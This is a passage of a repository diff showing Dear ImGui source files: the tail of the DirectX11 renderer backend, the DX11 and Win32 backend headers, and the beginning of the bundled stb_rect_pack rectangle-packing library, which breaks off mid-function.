void ImGui_ImplDX11_UpdateTexture(ImTextureData* tex)
{
ImGui_ImplDX11_Data* bd = ImGui_ImplDX11_GetBackendData();
if (tex->Status == ImTextureStatus_WantCreate)
{
// Create and upload new texture to graphics system
//IMGUI_DEBUG_LOG("UpdateTexture #%03d: WantCreate %dx%d\n", tex->UniqueID, tex->Width, tex->Height);
IM_ASSERT(tex->TexID == ImTextureID_Invalid && tex->BackendUserData == nullptr);
IM_ASSERT(tex->Format == ImTextureFormat_RGBA32);
unsigned int* pixels = (unsigned int*)tex->GetPixels();
ImGui_ImplDX11_Texture* backend_tex = IM_NEW(ImGui_ImplDX11_Texture)();
// Create texture
D3D11_TEXTURE2D_DESC desc;
ZeroMemory(&desc, sizeof(desc));
desc.Width = (UINT)tex->Width;
desc.Height = (UINT)tex->Height;
desc.MipLevels = 1;
desc.ArraySize = 1;
desc.Format = DXGI_FORMAT_R8G8B8A8_UNORM;
desc.SampleDesc.Count = 1;
desc.Usage = D3D11_USAGE_DEFAULT;
desc.BindFlags = D3D11_BIND_SHADER_RESOURCE;
desc.CPUAccessFlags = 0;
D3D11_SUBRESOURCE_DATA subResource;
subResource.pSysMem = pixels;
subResource.SysMemPitch = desc.Width * 4;
subResource.SysMemSlicePitch = 0;
bd->pd3dDevice->CreateTexture2D(&desc, &subResource, &backend_tex->pTexture);
IM_ASSERT(backend_tex->pTexture != nullptr && "Backend failed to create texture!");
// Create texture view
D3D11_SHADER_RESOURCE_VIEW_DESC srvDesc;
ZeroMemory(&srvDesc, sizeof(srvDesc));
srvDesc.Format = DXGI_FORMAT_R8G8B8A8_UNORM;
srvDesc.ViewDimension = D3D11_SRV_DIMENSION_TEXTURE2D;
srvDesc.Texture2D.MipLevels = desc.MipLevels;
srvDesc.Texture2D.MostDetailedMip = 0;
bd->pd3dDevice->CreateShaderResourceView(backend_tex->pTexture, &srvDesc, &backend_tex->pTextureView);
IM_ASSERT(backend_tex->pTextureView != nullptr && "Backend failed to create texture!");
// Store identifiers
tex->SetTexID((ImTextureID)(intptr_t)backend_tex->pTextureView);
tex->SetStatus(ImTextureStatus_OK);
tex->BackendUserData = backend_tex;
}
else if (tex->Status == ImTextureStatus_WantUpdates)
{
// Update selected blocks. We only ever write to textures regions which have never been used before!
// This backend choose to use tex->Updates[] but you can use tex->UpdateRect to upload a single region.
ImGui_ImplDX11_Texture* backend_tex = (ImGui_ImplDX11_Texture*)tex->BackendUserData;
IM_ASSERT(backend_tex->pTextureView == (ID3D11ShaderResourceView*)(intptr_t)tex->TexID);
for (ImTextureRect& r : tex->Updates)
{
D3D11_BOX box = { (UINT)r.x, (UINT)r.y, (UINT)0, (UINT)(r.x + r.w), (UINT)(r.y + r .h), (UINT)1 };
bd->pd3dDeviceContext->UpdateSubresource(backend_tex->pTexture, 0, &box, tex->GetPixelsAt(r.x, r.y), (UINT)tex->GetPitch(), 0);
}
tex->SetStatus(ImTextureStatus_OK);
}
if (tex->Status == ImTextureStatus_WantDestroy && tex->UnusedFrames > 0)
ImGui_ImplDX11_DestroyTexture(tex);
}
bool ImGui_ImplDX11_CreateDeviceObjects()
{
ImGui_ImplDX11_Data* bd = ImGui_ImplDX11_GetBackendData();
if (!bd->pd3dDevice)
return false;
ImGui_ImplDX11_InvalidateDeviceObjects();
// By using D3DCompile() from <d3dcompiler.h> / d3dcompiler.lib, we introduce a dependency to a given version of d3dcompiler_XX.dll (see D3DCOMPILER_DLL_A)
// If you would like to use this DX11 sample code but remove this dependency you can:
// 1) compile once, save the compiled shader blobs into a file or source code and pass them to CreateVertexShader()/CreatePixelShader() [preferred solution]
// 2) use code to detect any version of the DLL and grab a pointer to D3DCompile from the DLL.
// See https://github.com/ocornut/imgui/pull/638 for sources and details.
// Create the vertex shader
{
static const char* vertexShader =
"cbuffer vertexBuffer : register(b0) \
{\
float4x4 ProjectionMatrix; \
};\
struct VS_INPUT\
{\
float2 pos : POSITION;\
float4 col : COLOR0;\
float2 uv : TEXCOORD0;\
};\
\
struct PS_INPUT\
{\
float4 pos : SV_POSITION;\
float4 col : COLOR0;\
float2 uv : TEXCOORD0;\
};\
\
PS_INPUT main(VS_INPUT input)\
{\
PS_INPUT output;\
output.pos = mul( ProjectionMatrix, float4(input.pos.xy, 0.f, 1.f));\
output.col = input.col;\
output.uv = input.uv;\
return output;\
}";
ID3DBlob* vertexShaderBlob;
if (FAILED(D3DCompile(vertexShader, strlen(vertexShader), nullptr, nullptr, nullptr, "main", "vs_4_0", 0, 0, &vertexShaderBlob, nullptr)))
return false; // NB: Pass ID3DBlob* pErrorBlob to D3DCompile() to get error showing in (const char*)pErrorBlob->GetBufferPointer(). Make sure to Release() the blob!
if (bd->pd3dDevice->CreateVertexShader(vertexShaderBlob->GetBufferPointer(), vertexShaderBlob->GetBufferSize(), nullptr, &bd->pVertexShader) != S_OK)
{
vertexShaderBlob->Release();
return false;
}
// Create the input layout
D3D11_INPUT_ELEMENT_DESC local_layout[] =
{
{ "POSITION", 0, DXGI_FORMAT_R32G32_FLOAT, 0, (UINT)offsetof(ImDrawVert, pos), D3D11_INPUT_PER_VERTEX_DATA, 0 },
{ "TEXCOORD", 0, DXGI_FORMAT_R32G32_FLOAT, 0, (UINT)offsetof(ImDrawVert, uv), D3D11_INPUT_PER_VERTEX_DATA, 0 },
{ "COLOR", 0, DXGI_FORMAT_R8G8B8A8_UNORM, 0, (UINT)offsetof(ImDrawVert, col), D3D11_INPUT_PER_VERTEX_DATA, 0 },
};
if (bd->pd3dDevice->CreateInputLayout(local_layout, 3, vertexShaderBlob->GetBufferPointer(), vertexShaderBlob->GetBufferSize(), &bd->pInputLayout) != S_OK)
{
vertexShaderBlob->Release();
return false;
}
vertexShaderBlob->Release();
// Create the constant buffer
{
D3D11_BUFFER_DESC desc = {};
desc.ByteWidth = sizeof(VERTEX_CONSTANT_BUFFER_DX11);
desc.Usage = D3D11_USAGE_DYNAMIC;
desc.BindFlags = D3D11_BIND_CONSTANT_BUFFER;
desc.CPUAccessFlags = D3D11_CPU_ACCESS_WRITE;
desc.MiscFlags = 0;
bd->pd3dDevice->CreateBuffer(&desc, nullptr, &bd->pVertexConstantBuffer);
}
}
// Create the pixel shader
{
static const char* pixelShader =
"struct PS_INPUT\
{\
float4 pos : SV_POSITION;\
float4 col : COLOR0;\
float2 uv : TEXCOORD0;\
};\
sampler sampler0;\
Texture2D texture0;\
\
float4 main(PS_INPUT input) : SV_Target\
{\
float4 out_col = input.col * texture0.Sample(sampler0, input.uv); \
return out_col; \
}";
ID3DBlob* pixelShaderBlob;
if (FAILED(D3DCompile(pixelShader, strlen(pixelShader), nullptr, nullptr, nullptr, "main", "ps_4_0", 0, 0, &pixelShaderBlob, nullptr)))
return false; // NB: Pass ID3DBlob* pErrorBlob to D3DCompile() to get error showing in (const char*)pErrorBlob->GetBufferPointer(). Make sure to Release() the blob!
if (bd->pd3dDevice->CreatePixelShader(pixelShaderBlob->GetBufferPointer(), pixelShaderBlob->GetBufferSize(), nullptr, &bd->pPixelShader) != S_OK)
{
pixelShaderBlob->Release();
return false;
}
pixelShaderBlob->Release();
}
// Create the blending setup
{
D3D11_BLEND_DESC desc;
ZeroMemory(&desc, sizeof(desc));
desc.AlphaToCoverageEnable = false;
desc.RenderTarget[0].BlendEnable = true;
desc.RenderTarget[0].SrcBlend = D3D11_BLEND_SRC_ALPHA;
desc.RenderTarget[0].DestBlend = D3D11_BLEND_INV_SRC_ALPHA;
desc.RenderTarget[0].BlendOp = D3D11_BLEND_OP_ADD;
desc.RenderTarget[0].SrcBlendAlpha = D3D11_BLEND_ONE;
desc.RenderTarget[0].DestBlendAlpha = D3D11_BLEND_INV_SRC_ALPHA;
desc.RenderTarget[0].BlendOpAlpha = D3D11_BLEND_OP_ADD;
desc.RenderTarget[0].RenderTargetWriteMask = D3D11_COLOR_WRITE_ENABLE_ALL;
bd->pd3dDevice->CreateBlendState(&desc, &bd->pBlendState);
}
// Create the rasterizer state
{
D3D11_RASTERIZER_DESC desc;
ZeroMemory(&desc, sizeof(desc));
desc.FillMode = D3D11_FILL_SOLID;
desc.CullMode = D3D11_CULL_NONE;
desc.ScissorEnable = true;
desc.DepthClipEnable = true;
bd->pd3dDevice->CreateRasterizerState(&desc, &bd->pRasterizerState);
}
// Create depth-stencil State
{
D3D11_DEPTH_STENCIL_DESC desc;
ZeroMemory(&desc, sizeof(desc));
desc.DepthEnable = false;
desc.DepthWriteMask = D3D11_DEPTH_WRITE_MASK_ALL;
desc.DepthFunc = D3D11_COMPARISON_ALWAYS;
desc.StencilEnable = false;
desc.FrontFace.StencilFailOp = desc.FrontFace.StencilDepthFailOp = desc.FrontFace.StencilPassOp = D3D11_STENCIL_OP_KEEP;
desc.FrontFace.StencilFunc = D3D11_COMPARISON_ALWAYS;
desc.BackFace = desc.FrontFace;
bd->pd3dDevice->CreateDepthStencilState(&desc, &bd->pDepthStencilState);
}
// Create texture sampler
// (Bilinear sampling is required by default. Set 'io.Fonts->Flags |= ImFontAtlasFlags_NoBakedLines' or 'style.AntiAliasedLinesUseTex = false' to allow point/nearest sampling)
{
D3D11_SAMPLER_DESC desc;
ZeroMemory(&desc, sizeof(desc));
desc.Filter = D3D11_FILTER_MIN_MAG_MIP_LINEAR;
desc.AddressU = D3D11_TEXTURE_ADDRESS_CLAMP;
desc.AddressV = D3D11_TEXTURE_ADDRESS_CLAMP;
desc.AddressW = D3D11_TEXTURE_ADDRESS_CLAMP;
desc.MipLODBias = 0.f;
desc.ComparisonFunc = D3D11_COMPARISON_ALWAYS;
desc.MinLOD = 0.f;
desc.MaxLOD = 0.f;
bd->pd3dDevice->CreateSamplerState(&desc, &bd->pTexSamplerLinear);
desc.Filter = D3D11_FILTER_MIN_MAG_MIP_POINT;
bd->pd3dDevice->CreateSamplerState(&desc, &bd->pTexSamplerNearest);
}
return true;
}
void ImGui_ImplDX11_InvalidateDeviceObjects()
{
ImGui_ImplDX11_Data* bd = ImGui_ImplDX11_GetBackendData();
if (!bd->pd3dDevice)
return;
// Destroy all textures
for (ImTextureData* tex : ImGui::GetPlatformIO().Textures)
if (tex->RefCount == 1)
ImGui_ImplDX11_DestroyTexture(tex);
if (bd->pTexSamplerLinear) { bd->pTexSamplerLinear->Release(); bd->pTexSamplerLinear = nullptr; }
if (bd->pTexSamplerNearest) { bd->pTexSamplerNearest->Release(); bd->pTexSamplerNearest = nullptr; }
if (bd->pIB) { bd->pIB->Release(); bd->pIB = nullptr; }
if (bd->pVB) { bd->pVB->Release(); bd->pVB = nullptr; }
if (bd->pBlendState) { bd->pBlendState->Release(); bd->pBlendState = nullptr; }
if (bd->pDepthStencilState) { bd->pDepthStencilState->Release(); bd->pDepthStencilState = nullptr; }
if (bd->pRasterizerState) { bd->pRasterizerState->Release(); bd->pRasterizerState = nullptr; }
if (bd->pPixelShader) { bd->pPixelShader->Release(); bd->pPixelShader = nullptr; }
if (bd->pVertexConstantBuffer) { bd->pVertexConstantBuffer->Release(); bd->pVertexConstantBuffer = nullptr; }
if (bd->pInputLayout) { bd->pInputLayout->Release(); bd->pInputLayout = nullptr; }
if (bd->pVertexShader) { bd->pVertexShader->Release(); bd->pVertexShader = nullptr; }
}
bool ImGui_ImplDX11_Init(ID3D11Device* device, ID3D11DeviceContext* device_context)
{
ImGuiIO& io = ImGui::GetIO();
IMGUI_CHECKVERSION();
IM_ASSERT(io.BackendRendererUserData == nullptr && "Already initialized a renderer backend!");
// Setup backend capabilities flags
ImGui_ImplDX11_Data* bd = IM_NEW(ImGui_ImplDX11_Data)();
io.BackendRendererUserData = (void*)bd;
io.BackendRendererName = "imgui_impl_dx11";
io.BackendFlags |= ImGuiBackendFlags_RendererHasVtxOffset; // We can honor the ImDrawCmd::VtxOffset field, allowing for large meshes.
io.BackendFlags |= ImGuiBackendFlags_RendererHasTextures; // We can honor ImGuiPlatformIO::Textures[] requests during render.
ImGuiPlatformIO& platform_io = ImGui::GetPlatformIO();
platform_io.Renderer_TextureMaxWidth = platform_io.Renderer_TextureMaxHeight = D3D11_REQ_TEXTURE2D_U_OR_V_DIMENSION;
// Get factory from device
IDXGIDevice* pDXGIDevice = nullptr;
IDXGIAdapter* pDXGIAdapter = nullptr;
IDXGIFactory* pFactory = nullptr;
if (device->QueryInterface(IID_PPV_ARGS(&pDXGIDevice)) == S_OK)
if (pDXGIDevice->GetParent(IID_PPV_ARGS(&pDXGIAdapter)) == S_OK)
if (pDXGIAdapter->GetParent(IID_PPV_ARGS(&pFactory)) == S_OK)
{
bd->pd3dDevice = device;
bd->pd3dDeviceContext = device_context;
bd->pFactory = pFactory;
}
if (pDXGIDevice) pDXGIDevice->Release();
if (pDXGIAdapter) pDXGIAdapter->Release();
bd->pd3dDevice->AddRef();
bd->pd3dDeviceContext->AddRef();
return true;
}
void ImGui_ImplDX11_Shutdown()
{
ImGui_ImplDX11_Data* bd = ImGui_ImplDX11_GetBackendData();
IM_ASSERT(bd != nullptr && "No renderer backend to shutdown, or already shutdown?");
ImGuiIO& io = ImGui::GetIO();
ImGuiPlatformIO& platform_io = ImGui::GetPlatformIO();
ImGui_ImplDX11_InvalidateDeviceObjects();
if (bd->pFactory) { bd->pFactory->Release(); }
if (bd->pd3dDevice) { bd->pd3dDevice->Release(); }
if (bd->pd3dDeviceContext) { bd->pd3dDeviceContext->Release(); }
io.BackendRendererName = nullptr;
io.BackendRendererUserData = nullptr;
io.BackendFlags &= ~(ImGuiBackendFlags_RendererHasVtxOffset | ImGuiBackendFlags_RendererHasTextures);
platform_io.ClearRendererHandlers();
IM_DELETE(bd);
}
void ImGui_ImplDX11_NewFrame()
{
ImGui_ImplDX11_Data* bd = ImGui_ImplDX11_GetBackendData();
IM_ASSERT(bd != nullptr && "Context or backend not initialized! Did you call ImGui_ImplDX11_Init()?");
if (!bd->pVertexShader)
if (!ImGui_ImplDX11_CreateDeviceObjects())
IM_ASSERT(0 && "ImGui_ImplDX11_CreateDeviceObjects() failed!");
}
//-----------------------------------------------------------------------------
#endif // #ifndef IMGUI_DISABLE
+52
View File
@@ -0,0 +1,52 @@
// dear imgui: Renderer Backend for DirectX11
// This needs to be used along with a Platform Backend (e.g. Win32)
// Implemented features:
// [X] Renderer: User texture binding. Use 'ID3D11ShaderResourceView*' as texture identifier. Read the FAQ about ImTextureID/ImTextureRef!
// [X] Renderer: Large meshes support (64k+ vertices) even with 16-bit indices (ImGuiBackendFlags_RendererHasVtxOffset).
// [X] Renderer: Texture updates support for dynamic font atlas (ImGuiBackendFlags_RendererHasTextures).
// [X] Renderer: Expose selected render state for draw callbacks to use. Access in '(ImGui_ImplXXXX_RenderState*)GetPlatformIO().Renderer_RenderState'.
// You can use unmodified imgui_impl_* files in your project. See examples/ folder for examples of using this.
// Prefer including the entire imgui/ repository into your project (either as a copy or as a submodule), and only build the backends you need.
// Learn about Dear ImGui:
// - FAQ https://dearimgui.com/faq
// - Getting Started https://dearimgui.com/getting-started
// - Documentation https://dearimgui.com/docs (same as your local docs/ folder).
// - Introduction, links and more at the top of imgui.cpp
#pragma once
#include "imgui.h" // IMGUI_IMPL_API
#ifndef IMGUI_DISABLE
struct ID3D11Device;
struct ID3D11DeviceContext;
struct ID3D11SamplerState;
struct ID3D11Buffer;
// Follow "Getting Started" link and check examples/ folder to learn about using backends!
IMGUI_IMPL_API bool ImGui_ImplDX11_Init(ID3D11Device* device, ID3D11DeviceContext* device_context);
IMGUI_IMPL_API void ImGui_ImplDX11_Shutdown();
IMGUI_IMPL_API void ImGui_ImplDX11_NewFrame();
IMGUI_IMPL_API void ImGui_ImplDX11_RenderDrawData(ImDrawData* draw_data);
// Use if you want to reset your rendering device without losing Dear ImGui state.
IMGUI_IMPL_API bool ImGui_ImplDX11_CreateDeviceObjects();
IMGUI_IMPL_API void ImGui_ImplDX11_InvalidateDeviceObjects();
// (Advanced) Use e.g. if you need to precisely control the timing of texture updates (e.g. for staged rendering), by setting ImDrawData::Textures = nullptr to handle this manually.
IMGUI_IMPL_API void ImGui_ImplDX11_UpdateTexture(ImTextureData* tex);
// [BETA] Selected render state data shared with callbacks.
// This is temporarily stored in GetPlatformIO().Renderer_RenderState during the ImGui_ImplDX11_RenderDrawData() call.
// (Please open an issue if you feel you need access to more data)
struct ImGui_ImplDX11_RenderState
{
ID3D11Device* Device;
ID3D11DeviceContext* DeviceContext;
ID3D11SamplerState* SamplerLinear;
ID3D11SamplerState* SamplerNearest;
ID3D11Buffer* VertexConstantBuffer;
};
#endif // #ifndef IMGUI_DISABLE
File diff suppressed because it is too large Load Diff
+53
View File
@@ -0,0 +1,53 @@
// dear imgui: Platform Backend for Windows (standard windows API for 32-bits AND 64-bits applications)
// This needs to be used along with a Renderer (e.g. DirectX11, OpenGL3, Vulkan..)
// Implemented features:
// [X] Platform: Clipboard support (for Win32 this is actually part of core dear imgui)
// [X] Platform: Mouse support. Can discriminate Mouse/TouchScreen/Pen.
// [X] Platform: Keyboard support. Since 1.87 we are using the io.AddKeyEvent() function. Pass ImGuiKey values to all key functions e.g. ImGui::IsKeyPressed(ImGuiKey_Space). [Legacy VK_* values are obsolete since 1.87 and not supported since 1.91.5]
// [X] Platform: Gamepad support.
// [X] Platform: Mouse cursor shape and visibility (ImGuiBackendFlags_HasMouseCursors). Disable with 'io.ConfigFlags |= ImGuiConfigFlags_NoMouseCursorChange'.
// You can use unmodified imgui_impl_* files in your project. See examples/ folder for examples of using this.
// Prefer including the entire imgui/ repository into your project (either as a copy or as a submodule), and only build the backends you need.
// Learn about Dear ImGui:
// - FAQ https://dearimgui.com/faq
// - Getting Started https://dearimgui.com/getting-started
// - Documentation https://dearimgui.com/docs (same as your local docs/ folder).
// - Introduction, links and more at the top of imgui.cpp
#pragma once
#include "imgui.h" // IMGUI_IMPL_API
#ifndef IMGUI_DISABLE
// Follow "Getting Started" link and check examples/ folder to learn about using backends!
IMGUI_IMPL_API bool ImGui_ImplWin32_Init(void* hwnd);
IMGUI_IMPL_API bool ImGui_ImplWin32_InitForOpenGL(void* hwnd);
IMGUI_IMPL_API void ImGui_ImplWin32_Shutdown();
IMGUI_IMPL_API void ImGui_ImplWin32_NewFrame();
// Win32 message handler your application needs to call.
// - Intentionally commented out in a '#if 0' block to avoid dragging dependencies on <windows.h> from this helper.
// - You should COPY the line below into your .cpp code to forward declare the function and then you can call it.
// - Call from your application's message handler. Keep calling your message handler unless this function returns TRUE.
#if 0
extern IMGUI_IMPL_API LRESULT ImGui_ImplWin32_WndProcHandler(HWND hWnd, UINT msg, WPARAM wParam, LPARAM lParam);
#endif
// DPI-related helpers (optional)
// - Use to enable DPI awareness without having to create an application manifest.
// - Your own app may already do this via a manifest or explicit calls. This is mostly useful for our examples/ apps.
// - In theory we could call simple functions from Windows SDK such as SetProcessDPIAware(), SetProcessDpiAwareness(), etc.
// but most of the functions provided by Microsoft require Windows 8.1/10+ SDK at compile time and Windows 8/10+ at runtime,
// neither of which we want to require the user to have. So we dynamically select and load those functions to avoid dependencies.
IMGUI_IMPL_API void ImGui_ImplWin32_EnableDpiAwareness();
IMGUI_IMPL_API float ImGui_ImplWin32_GetDpiScaleForHwnd(void* hwnd); // HWND hwnd
IMGUI_IMPL_API float ImGui_ImplWin32_GetDpiScaleForMonitor(void* monitor); // HMONITOR monitor
// Transparency related helpers (optional) [experimental]
// - Use to enable alpha compositing transparency with the desktop.
// - Use together with e.g. clearing your framebuffer with zero-alpha.
IMGUI_IMPL_API void ImGui_ImplWin32_EnableAlphaCompositing(void* hwnd); // HWND hwnd
#endif // #ifndef IMGUI_DISABLE
File diff suppressed because it is too large Load Diff
File diff suppressed because it is too large Load Diff
File diff suppressed because it is too large Load Diff
+627
View File
@@ -0,0 +1,627 @@
// [DEAR IMGUI]
// This is a slightly modified version of stb_rect_pack.h 1.01.
// Grep for [DEAR IMGUI] to find the changes.
//
// stb_rect_pack.h - v1.01 - public domain - rectangle packing
// Sean Barrett 2014
//
// Useful for e.g. packing rectangular textures into an atlas.
// Does not do rotation.
//
// Before #including,
//
// #define STB_RECT_PACK_IMPLEMENTATION
//
// in the file that you want to have the implementation.
//
// Not necessarily the awesomest packing method, but better than
// the totally naive one in stb_truetype (which is primarily what
// this is meant to replace).
//
// Has only had a few tests run, may have issues.
//
// More docs to come.
//
// No memory allocations; uses qsort() and assert() from stdlib.
// Can override those by defining STBRP_SORT and STBRP_ASSERT.
//
// This library currently uses the Skyline Bottom-Left algorithm.
//
// Please note: better rectangle packers are welcome! Please
// implement them to the same API, but with a different init
// function.
//
// Credits
//
// Library
// Sean Barrett
// Minor features
// Martins Mozeiko
// github:IntellectualKitty
//
// Bugfixes / warning fixes
// Jeremy Jaussaud
// Fabian Giesen
//
// Version history:
//
// 1.01 (2021-07-11) always use large rect mode, expose STBRP__MAXVAL in public section
// 1.00 (2019-02-25) avoid small space waste; gracefully fail too-wide rectangles
// 0.99 (2019-02-07) warning fixes
// 0.11 (2017-03-03) return packing success/fail result
// 0.10 (2016-10-25) remove cast-away-const to avoid warnings
// 0.09 (2016-08-27) fix compiler warnings
// 0.08 (2015-09-13) really fix bug with empty rects (w=0 or h=0)
// 0.07 (2015-09-13) fix bug with empty rects (w=0 or h=0)
// 0.06 (2015-04-15) added STBRP_SORT to allow replacing qsort
// 0.05: added STBRP_ASSERT to allow replacing assert
// 0.04: fixed minor bug in STBRP_LARGE_RECTS support
// 0.01: initial release
//
// LICENSE
//
// See end of file for license information.
//////////////////////////////////////////////////////////////////////////////
//
// INCLUDE SECTION
//
#ifndef STB_INCLUDE_STB_RECT_PACK_H
#define STB_INCLUDE_STB_RECT_PACK_H
#define STB_RECT_PACK_VERSION 1
#ifdef STBRP_STATIC
#define STBRP_DEF static
#else
#define STBRP_DEF extern
#endif
#ifdef __cplusplus
extern "C" {
#endif
typedef struct stbrp_context stbrp_context;
typedef struct stbrp_node stbrp_node;
typedef struct stbrp_rect stbrp_rect;
typedef int stbrp_coord;
#define STBRP__MAXVAL 0x7fffffff
// Mostly for internal use, but this is the maximum supported coordinate value.
STBRP_DEF int stbrp_pack_rects (stbrp_context *context, stbrp_rect *rects, int num_rects);
// Assign packed locations to rectangles. The rectangles are of type
// 'stbrp_rect' defined below, stored in the array 'rects', and there
// are 'num_rects' many of them.
//
// Rectangles which are successfully packed have the 'was_packed' flag
// set to a non-zero value and 'x' and 'y' store the minimum location
// on each axis (i.e. bottom-left in cartesian coordinates, top-left
// if you imagine y increasing downwards). Rectangles which do not fit
// have the 'was_packed' flag set to 0.
//
// You should not try to access the 'rects' array from another thread
// while this function is running, as the function temporarily reorders
// the array while it executes.
//
// To pack into another rectangle, you need to call stbrp_init_target
// again. To continue packing into the same rectangle, you can call
// this function again. Calling this multiple times with multiple rect
// arrays will probably produce worse packing results than calling it
// a single time with the full rectangle array, but the option is
// available.
//
// The function returns 1 if all of the rectangles were successfully
// packed and 0 otherwise.
struct stbrp_rect
{
// reserved for your use:
int id;
// input:
stbrp_coord w, h;
// output:
stbrp_coord x, y;
int was_packed; // non-zero if valid packing
}; // 16 bytes, nominally
STBRP_DEF void stbrp_init_target (stbrp_context *context, int width, int height, stbrp_node *nodes, int num_nodes);
// Initialize a rectangle packer to:
// pack a rectangle that is 'width' by 'height' in dimensions
// using temporary storage provided by the array 'nodes', which is 'num_nodes' long
//
// You must call this function every time you start packing into a new target.
//
// There is no "shutdown" function. The 'nodes' memory must stay valid for
// the following stbrp_pack_rects() call (or calls), but can be freed after
// the call (or calls) finish.
//
// Note: to guarantee best results, either:
// 1. make sure 'num_nodes' >= 'width'
// or 2. call stbrp_allow_out_of_mem() defined below with 'allow_out_of_mem = 1'
//
// If you don't do either of the above things, widths will be quantized to multiples
// of small integers to guarantee the algorithm doesn't run out of temporary storage.
//
// If you do #2, then the non-quantized algorithm will be used, but the algorithm
// may run out of temporary storage and be unable to pack some rectangles.
STBRP_DEF void stbrp_setup_allow_out_of_mem (stbrp_context *context, int allow_out_of_mem);
// Optionally call this function after init but before doing any packing to
// change the handling of the out-of-temp-memory scenario, described above.
// If you call init again, this will be reset to the default (false).
STBRP_DEF void stbrp_setup_heuristic (stbrp_context *context, int heuristic);
// Optionally select which packing heuristic the library should use. Different
// heuristics will produce better/worse results for different data sets.
// If you call init again, this will be reset to the default.
enum
{
STBRP_HEURISTIC_Skyline_default=0,
STBRP_HEURISTIC_Skyline_BL_sortHeight = STBRP_HEURISTIC_Skyline_default,
STBRP_HEURISTIC_Skyline_BF_sortHeight
};
//////////////////////////////////////////////////////////////////////////////
//
// the details of the following structures don't matter to you, but they must
// be visible so you can handle the memory allocations for them
struct stbrp_node
{
stbrp_coord x,y;
stbrp_node *next;
};
struct stbrp_context
{
int width;
int height;
int align;
int init_mode;
int heuristic;
int num_nodes;
stbrp_node *active_head;
stbrp_node *free_head;
stbrp_node extra[2]; // we allocate two extra nodes so optimal user-node-count is 'width' not 'width+2'
};
#ifdef __cplusplus
}
#endif
#endif
//////////////////////////////////////////////////////////////////////////////
//
// IMPLEMENTATION SECTION
//
#ifdef STB_RECT_PACK_IMPLEMENTATION
#ifndef STBRP_SORT
#include <stdlib.h>
#define STBRP_SORT qsort
#endif
#ifndef STBRP_ASSERT
#include <assert.h>
#define STBRP_ASSERT assert
#endif
#ifdef _MSC_VER
#define STBRP__NOTUSED(v) (void)(v)
#define STBRP__CDECL __cdecl
#else
#define STBRP__NOTUSED(v) (void)sizeof(v)
#define STBRP__CDECL
#endif
enum
{
STBRP__INIT_skyline = 1
};
STBRP_DEF void stbrp_setup_heuristic(stbrp_context *context, int heuristic)
{
switch (context->init_mode) {
case STBRP__INIT_skyline:
STBRP_ASSERT(heuristic == STBRP_HEURISTIC_Skyline_BL_sortHeight || heuristic == STBRP_HEURISTIC_Skyline_BF_sortHeight);
context->heuristic = heuristic;
break;
default:
STBRP_ASSERT(0);
}
}
STBRP_DEF void stbrp_setup_allow_out_of_mem(stbrp_context *context, int allow_out_of_mem)
{
if (allow_out_of_mem)
// if it's ok to run out of memory, then don't bother aligning them;
// this gives better packing, but may fail due to OOM (even though
// the rectangles easily fit). @TODO a smarter approach would be to only
// quantize once we've hit OOM, then we could get rid of this parameter.
context->align = 1;
else {
// if it's not ok to run out of memory, then quantize the widths
// so that num_nodes is always enough nodes.
//
// I.e. num_nodes * align >= width
// align >= width / num_nodes
// align = ceil(width/num_nodes)
context->align = (context->width + context->num_nodes-1) / context->num_nodes;
}
}
STBRP_DEF void stbrp_init_target(stbrp_context *context, int width, int height, stbrp_node *nodes, int num_nodes)
{
int i;
for (i=0; i < num_nodes-1; ++i)
nodes[i].next = &nodes[i+1];
nodes[i].next = NULL;
context->init_mode = STBRP__INIT_skyline;
context->heuristic = STBRP_HEURISTIC_Skyline_default;
context->free_head = &nodes[0];
context->active_head = &context->extra[0];
context->width = width;
context->height = height;
context->num_nodes = num_nodes;
stbrp_setup_allow_out_of_mem(context, 0);
// node 0 is the full width, node 1 is the sentinel (lets us not store width explicitly)
context->extra[0].x = 0;
context->extra[0].y = 0;
context->extra[0].next = &context->extra[1];
context->extra[1].x = (stbrp_coord) width;
context->extra[1].y = (1<<30);
context->extra[1].next = NULL;
}
// find minimum y position if it starts at x1
static int stbrp__skyline_find_min_y(stbrp_context *c, stbrp_node *first, int x0, int width, int *pwaste)
{
stbrp_node *node = first;
int x1 = x0 + width;
int min_y, visited_width, waste_area;
STBRP__NOTUSED(c);
STBRP_ASSERT(first->x <= x0);
#if 0
// skip in case we're past the node
while (node->next->x <= x0)
++node;
#else
STBRP_ASSERT(node->next->x > x0); // we ended up handling this in the caller for efficiency
#endif
STBRP_ASSERT(node->x <= x0);
min_y = 0;
waste_area = 0;
visited_width = 0;
while (node->x < x1) {
if (node->y > min_y) {
// raise min_y higher.
// we've accounted for all waste up to min_y,
// but we'll now add more waste for everything we've visited
waste_area += visited_width * (node->y - min_y);
min_y = node->y;
// the first time through, visited_width might be reduced
if (node->x < x0)
visited_width += node->next->x - x0;
else
visited_width += node->next->x - node->x;
} else {
// add waste area
int under_width = node->next->x - node->x;
if (under_width + visited_width > width)
under_width = width - visited_width;
waste_area += under_width * (min_y - node->y);
visited_width += under_width;
}
node = node->next;
}
*pwaste = waste_area;
return min_y;
}
typedef struct
{
int x,y;
stbrp_node **prev_link;
} stbrp__findresult;
static stbrp__findresult stbrp__skyline_find_best_pos(stbrp_context *c, int width, int height)
{
int best_waste = (1<<30), best_x, best_y = (1 << 30);
stbrp__findresult fr;
stbrp_node **prev, *node, *tail, **best = NULL;
// align to multiple of c->align
width = (width + c->align - 1);
width -= width % c->align;
STBRP_ASSERT(width % c->align == 0);
// if it can't possibly fit, bail immediately
if (width > c->width || height > c->height) {
fr.prev_link = NULL;
fr.x = fr.y = 0;
return fr;
}
node = c->active_head;
prev = &c->active_head;
while (node->x + width <= c->width) {
int y,waste;
y = stbrp__skyline_find_min_y(c, node, node->x, width, &waste);
if (c->heuristic == STBRP_HEURISTIC_Skyline_BL_sortHeight) { // actually just want to test BL
// bottom left
if (y < best_y) {
best_y = y;
best = prev;
}
} else {
// best-fit
if (y + height <= c->height) {
// can only use it if it first vertically
if (y < best_y || (y == best_y && waste < best_waste)) {
best_y = y;
best_waste = waste;
best = prev;
}
}
}
prev = &node->next;
node = node->next;
}
best_x = (best == NULL) ? 0 : (*best)->x;
// if doing best-fit (BF), we also have to try aligning right edge to each node position
//
// e.g, if fitting
//
// ____________________
// |____________________|
//
// into
//
// | |
// | ____________|
// |____________|
//
// then right-aligned reduces waste, but bottom-left BL is always chooses left-aligned
//
// This makes BF take about 2x the time
if (c->heuristic == STBRP_HEURISTIC_Skyline_BF_sortHeight) {
tail = c->active_head;
node = c->active_head;
prev = &c->active_head;
// find first node that's admissible
while (tail->x < width)
tail = tail->next;
while (tail) {
